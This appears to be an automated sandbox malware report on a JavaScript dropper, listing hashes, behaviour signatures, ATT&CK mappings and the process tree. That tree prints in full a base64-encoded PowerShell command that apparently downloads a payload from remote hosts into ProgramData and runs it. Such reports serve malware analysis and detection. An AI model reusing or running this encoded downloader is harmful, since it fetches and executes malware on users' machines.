cc9340936b788db3b2f411db9371ac5f80b79d2dad17242f58e4ffbc1587042a

General

Target

M7R96384.js
Size

302KB
MD5

b6526058c2020348d5115e3151b3d250
SHA1

cc215355f140abede6fd16f77e2bd56ec14471e0
SHA256

cc9340936b788db3b2f411db9371ac5f80b79d2dad17242f58e4ffbc1587042a
SHA512

02d283dc4529c53f0e51778aa37f18138271c669ab6d4af4efd94c73be241845b1594b310651c56d16ada7e4111120d4c059707f07e0b1230e10bf898867befd
SSDEEP

3072:CDIxSdtT484OyMBr+1XSyvZVaMBUzpfjETgc9tTNKz30n/nGcHDxcqvQ0uVW:CDIxSn48SIySwyH9o/1NKzE/bW4L

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
908	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	908	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 584	2040	wscript.exe	28
PID 2040 wrote to memory of 584	2040	wscript.exe	28
PID 2040 wrote to memory of 584	2040	wscript.exe	28
PID 584 wrote to memory of 908	584	wscript.exe	29
PID 584 wrote to memory of 908	584	wscript.exe	29
PID 584 wrote to memory of 908	584	wscript.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\M7R96384.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\ProgramData\balladeroyal.js" Uncognizable senora
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABtAHUAZAByAG8AbwBtAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQBBAEEAdQBBAEQASQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQB3AEEARABVAEEAbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB5AEEAQwA0AEEATgBnAEEANQBBAEMANABBAE8AUQBBAHkAQQBDADQAQQBNAGcAQQB3AEEARABrAEEAbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAdwBBAEQAWQBBAEwAZwBBAHgAQQBEAEEAQQBNAHcAQQB1AEEARABFAEEATgBnAEEAMgBBAEEAPQA9ACIAOwAkAGkAdABpAG4AZQByAGEAdABlAEMAcgB1AHMAdABpAGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQATQBBAE4AQQBBAHUAQQBEAEkAQQBOAFEAQQAxAEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHkAQQBEAEUAQQBNAHcAQQB2AEEARABnAEEAZQBRAEIATgBBAEQAawBBAFkAdwBBAHYAQQBIAEUAQQBCAEMAYQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEkAQQBOAEEAQQB1AEEARABJAEEATQBRAEEANABBAEMANABBAE4AUQBBADEAQQBDADQAQQBNAGcAQQB6AEEARABFAEEATAB3AEIARgBBAEUAbwBBAGEAdwBBADIAQQBFAGcAQQBMAHcAQgB4AEEARwA0AEEAQgBDAGEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAdwBBAEQAUQBBAEwAdwBCAFUAQQBFAHcAQQBSAHcAQgBvAEEARQA0AEEAWgBBAEEAdgBBAEUARQBBAFoAZwBCAEoAQQBGAGMAQQBXAFEAQgBtAEEARgBJAEEAZABBAEIAUABBAEQASQBBAGMAdwBBAD0AQgBDAGEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABRAEEATwBRAEEAdQBBAEQARQBBAE4AUQBBADAAQQBDADQAQQBNAFEAQQAxAEEARABrAEEATABnAEEANQBBAEQAZwBBAEwAdwBCAFEAQQBIAEEAQQBWAFEAQgBaAEEARgBnAEEATAB3AEIAbQBBAEcATQBBAGUAUQBCAHkAQQBFAGMAQQBTAEEAQgByAEEAQQA9AD0AQgBDAGEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAGcAQQB6AEEAQwA0AEEATgBnAEEAeABBAEMAOABBAE8AUQBCAGgAQQBEAFkAQQBOAHcAQgB3AEEARwBVAEEAYwB3AEEAdgBBAEUAcwBBAFcAUQBCAEkAQQBIAGsAQQBaAGcAQgBTAEEARwBnAEEATgBnAEIAdQBBAEUAMABBAGIAdwBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAUgBlAHYAaQBiAHIAYQB0AGkAbwBuAFMAbwB1AHQAaABlAGQAIABpAG4AIAAkAGkAdABpAG4AZQByAGEAdABlAEMAcgB1AHMAdABpAGUAcgAgAC0AcwBwAGwAaQB0ACAAIgBCAEMAYQAiACkAIAB7AHQAcgB5ACAAewAkAEIAdQBsAGwAZQB0AGgAZQBhAGQARAByAG8AcABwAGkAbgBnAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFUAQQBlAEEAQgAwAEEARwBFAEEAYgBnAEIAMABBAEMANABBAFkAUQBCADEAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAPQBlAE0ATQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAEEAQQAzAEEAQwA0AEEATQBRAEEAMgBBAEQAVQBBAEwAZwBBADMAQQBEAFUAQQBMAGcAQQAyAEEARABZAEEAZQBNAE0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAFkAQQBNAHcAQQB1AEEARABFAEEATQBnAEEAMQBBAEEAPQA9AGUATQBNAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEgASQBBAFoAUQBCAGgAQQBHAFEAQQBZAFEAQgB0AEEARwBrAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHQAQQBHAEkAQQBhAEEAQQA9ACIAOwAkAGMAcgBpAHQAaQBjAGsAaQBuAEEAdQBkAGkAdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQB3AEEAdQBBAEQARQBBAE0AdwBBADUAQQBDADQAQQBNAFEAQQB6AEEARABrAEEATABnAEEAeABBAEQAVQBBAE8AQQBBAD0AIgA7ACQAYgBhAGMAdABlAHIAaQBvAHQAbwB4AGkAbgBOAG8AbgBiAGUAbgBlAGYAaQBjAGUAbgBjAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAUgBlAHYAaQBiAHIAYQB0AGkAbwBuAFMAbwB1AHQAaABlAGQAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABiAGEAYwB0AGUAcgBpAG8AdABvAHgAaQBuAE4AbwBuAGIAZQBuAGUAZgBpAGMAZQBuAGMAZQAgAC0ATwAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXAB0AG8AdwBuAGwAYQBuAGQAUABvAHMAdABtAGkAcwB0AHIAZQBzAHMALgBDAG8AYgBiAGkAbgBnAEkAbQBwAGEAYwB0AGkAdgBlADsAJABiAG8AdAB0AG8AbQBlAHIAcwBTAGsAaQBuAGsAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFUAQQBlAEEAQgBqAEEARwA4AEEAYgBnAEIAcQBBAEgAVQBBAFoAdwBCAGgAQQBHADQAQQBkAEEAQgBJAEEARwBFAEEAYgBnAEIAawBBAEcATQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQQB1AEEASABNAEEAWQB3AEIAbwBBAEgAVQBBAGIAQQBCAGwAQQBBAD0APQB3AHEAYQBIAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAFkAUQBCADEAQQBHAHcAQQBkAFEAQgB0AEEARQBVAEEAZQBBAEIAdwBBAEcAdwBBAGIAdwBCAGsAQQBHAFUAQQBMAGcAQgB5AEEARwBVAEEAYwBBAEIAdgBBAEgASQBBAGQAQQBBAD0AdwBxAGEASABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAFkAQQBMAGcAQQB4AEEARABZAEEATQBBAEEAdQBBAEQARQBBAE4AZwBBAHkAQQBDADQAQQBNAGcAQQAxAEEARABJAEEAIgA7ACQAZABvAHcAbABhAHMATABhAHUAZABpAHMAbQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAawBBAGIAZwBCADAAQQBHAFUAQQBjAGcAQgAyAEEARwBVAEEAYwBnAEIAMABBAEcAVQBBAFkAZwBCAHkAQQBHAEUAQQBVAHcAQgB0AEEARwBFAEEAWQB3AEIAcgBBAEcAVQBBAGMAZwBCAHoAQQBDADQAQQBjAHcAQgAxAEEASABJAEEAWgBnAEEAPQBVAE8AeQBNAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVQBBAEcARQBBAGIAZwBCAG4AQQBHADgAQQBhAFEAQgB1AEEARwBjAEEAVAB3AEIAMQBBAEgAUQBBAFoAdwBCAHMAQQBHAEUAQQBjAGcAQgBsAEEAQwA0AEEAYgBBAEIAbABBAEcAYwBBAFkAUQBCAHMAQQBBAD0APQBVAE8AeQBNAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYATQBBAGQAQQBCAGwAQQBIAFEAQQBhAEEAQgB2AEEASABBAEEAYQBBAEIAdgBBAEcANABBAFoAUQBCAEUAQQBHAGsAQQBjAHcAQgAxAEEARwA0AEEAYQBRAEIAdgBBAEcANABBAGEAUQBCAHoAQQBIAFEAQQBMAGcAQgBrAEEARwBVAEEAWgB3AEIAeQBBAEcAVQBBAFoAUQBBAD0AVQBPAHkATQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADAAQQBZAHcAQgBqAEEARwBFAEEAYwBnAEIAMABBAEcAZwBBAGUAUQBCAHAAQQBIAE0AQQBiAFEAQQB1AEEASABZAEEAYQBRAEIAdwBBAEEAPQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAHQAbwB3AG4AbABhAG4AZABQAG8AcwB0AG0AaQBzAHQAcgBlAHMAcwAuAEMAbwBiAGIAaQBuAGcASQBtAHAAYQBjAHQAaQB2AGUAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADAANwA1ADgANAApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBSAEEAQgBoAEEASABRAEEAWQBRAEIAYwBBAEgAUQBBAGIAdwBCADMAQQBHADQAQQBiAEEAQgBoAEEARwA0AEEAWgBBAEIAUQBBAEcAOABBAGMAdwBCADAAQQBHADAAQQBhAFEAQgB6AEEASABRAEEAYwBnAEIAbABBAEgATQBBAGMAdwBBAHUAQQBFAE0AQQBiAHcAQgBpAEEARwBJAEEAYQBRAEIAdQBBAEcAYwBBAFMAUQBCAHQAQQBIAEEAQQBZAFEAQgBqAEEASABRAEEAYQBRAEIAMgBBAEcAVQBBAEwAQQBCAGkAQQBHAGsAQQBiAGcAQgBrAEEARABzAEEAIgA7ACQAbQBpAGMAcgBvAGcAeQBuAGUARABlAGMAYQByAGIAbwBuAGkAcwBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAdwBBAEMANABBAE0AZwBBAHgAQQBEAGcAQQBMAGcAQQB4AEEARABVAEEATQBRAEEAdQBBAEQASQBBAE0AdwBBADQAQQBBAD0APQBLAFkAQgBXAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE8AQQBBAHUAQQBEAEkAQQBNAGcAQQA1AEEAQwA0AEEATgBBAEEAMwBBAEMANABBAE0AUQBBAHcAQQBEAGMAQQAiADsAJABTAGgAbwB0AHAAcgBvAG8AZgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcAawBBAGQAQQBCAGoAQQBHAGcAQQBaAFEAQgB5AEEARwBVAEEAWgBBAEEAdQBBAEcAWQBBAGEAUQBCADAAQQBHADQAQQBaAFEAQgB6AEEASABNAEEATAB0AFkAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAEkAQQBaAFEAQgB4AEEASABVAEEAYQBRAEIAMABBAEcAVQBBAGIAQQBCAGwAQQBIAE0AQQBjAHcAQQB1AEEARwB3AEEAZABBAEIAawBBAEcARQBBACIAOwAkAEYAbABvAHUAbgBjAGUAcwBMAGUAdABjAGgAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwA4AEEAYwB3AEIAbwBBAEcAVQBBAGMAZwBCAHoAQQBFAEkAQQBkAFEAQgAwAEEARwB3AEEAWgBRAEIAeQBBAEcARQBBAFoAdwBCAGwAQQBDADQAQQBZAHcAQgB2AEEARwB3AEEAYgB3AEIAbgBBAEcANABBAFoAUQBBAD0ASABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBZAFEAQgBzAEEARwBrAEEAWgBnAEIAdgBBAEgASQBBAGIAZwBCAHAAQQBHAE0AQQBkAFEAQgB6AEEAQwA0AEEAYQBRAEIAMABBAEEAPQA9ACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9AH0A"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\balladeroyal.js

Filesize
302KB

MD5
b6526058c2020348d5115e3151b3d250

SHA1
cc215355f140abede6fd16f77e2bd56ec14471e0

SHA256
cc9340936b788db3b2f411db9371ac5f80b79d2dad17242f58e4ffbc1587042a

SHA512
02d283dc4529c53f0e51778aa37f18138271c669ab6d4af4efd94c73be241845b1594b310651c56d16ada7e4111120d4c059707f07e0b1230e10bf898867befd

Download Submit
memory/908-60-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/908-61-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/908-62-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/908-63-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/908-64-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/908-65-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/908-66-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/908-67-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/908-68-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing